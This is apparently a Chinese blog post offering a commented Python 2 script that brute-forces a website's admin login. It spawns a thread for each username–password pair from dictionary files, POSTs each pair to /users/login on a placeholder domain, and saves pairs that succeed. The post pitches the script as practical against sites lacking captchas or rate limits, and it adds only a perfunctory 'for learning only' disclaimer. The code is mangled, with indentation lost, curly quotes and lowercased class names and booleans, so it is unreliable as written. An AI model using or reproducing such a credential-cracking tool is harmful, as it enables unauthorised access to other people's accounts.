今天来弄一个后台破解的python小程序，哈哈，直接上代码吧，都有注释~~
# -*- coding: utf-8 -*-
# 利用python 写的多线程爆破后台用户名+密码(自备字典),比较实用,即使是在信息安全这么重视的今天,还是有人不加验证码或者异常访问限制之类的登陆验证方式,这样就很# 容易被弱口令爆破工具拿下,(本代码仅限学习实用,禁止进行web攻击,不承担法律责任)
import urllib2
import urllib
import httplib
import threading
headers = {“content-type”:”application/x-www-form-urlencoded”,
“connection”:”keep-alive”,
“referer”:”http://www.xxxxx.com/”};# referer:是代理的访问来源地址
# lock = threading.lock()
def tryuser(user,password):
#print user,password
global headers
global outfile
conn = httplib.httpconnection(“www.xxxxx.com”) # 远程域名
if len(user) < 3: # 限制用户名长度，排除字典中的无用数据
return # 主动退出线程
else:
#lock.acquire() # 多线程操作文件，提前加锁，用后释放
#line = infile.readline()
#userdata = line.strip().split(' # ') # strip() 默认去除空白字符包括' ','\t','\n'等
#lock.release()
user = user.strip()
passwd = password.strip()
params = urllib.urlencode({'username': user, 'password': passwd})
conn.request(method="post", url="/users/login", body=params, headers=headers) # 后台路径
responsetext = conn.getresponse().read().decode('utf8') # 网页编码
#print responsetext # 第一次可以打印看看是否解析
if not responsetext.find(u'用户名或者密码不正确,请重新输入!') > 0 :
print ‘—– find user:’, user, ‘with password:’, passwd, ‘—–‘
outfile.write(user + ‘ ‘ + passwd + ‘\n’)
return
outfile = open(‘accounts-cracked.txt’, ‘w’)
if __name__ == ‘__main__’:
tsk=[] # 创建线程池
with open(r’user.dic’, ‘r’) as fuser: # 使用with as 来打开文件,不需自己关闭文件,因为他会自己在合适的时候自已关闭(类似c# 中的using(…){}接口)
with open(r’pass.dic’, ‘r’) as fpass:
for user in fuser.readlines():
for password in fpass.readlines():
t= threading.thread(target = tryuser,args=(user,password))
t.daemon = false # 设置不进行进程守护
tsk.append(t) # t.start()
fpass.seek(0)
# 记住这里要将文件重新移到文件首,不然就会出现只执行外层循环的第一条,因为内层在
# 迭代之后(readlines()是迭代器的形式,迭代一次后文件指针就指到文件尾了,迭代器
# 也是end了)第二次就没有password 在 fpass中,也就是说 for password in fpass.readlines():
# 为空,所以这里的内层循环就不会被执行了,因此也就是迭代器清零的问题(c ++ itertor 常有)
# join()无参数就是完全阻塞主线程,等待线程执行完 有参数就是说，
# 在主线程等待一秒后就不阻塞线程了,继续执行主线程,这里的意思是一秒钟开一个线程
# 不能再thread start之前调用join(), 因为join() 是线程运行时调度
for t in tsk:
t.start()
t.join(1)
print “all thread ok,maybe not ”
outfile.close()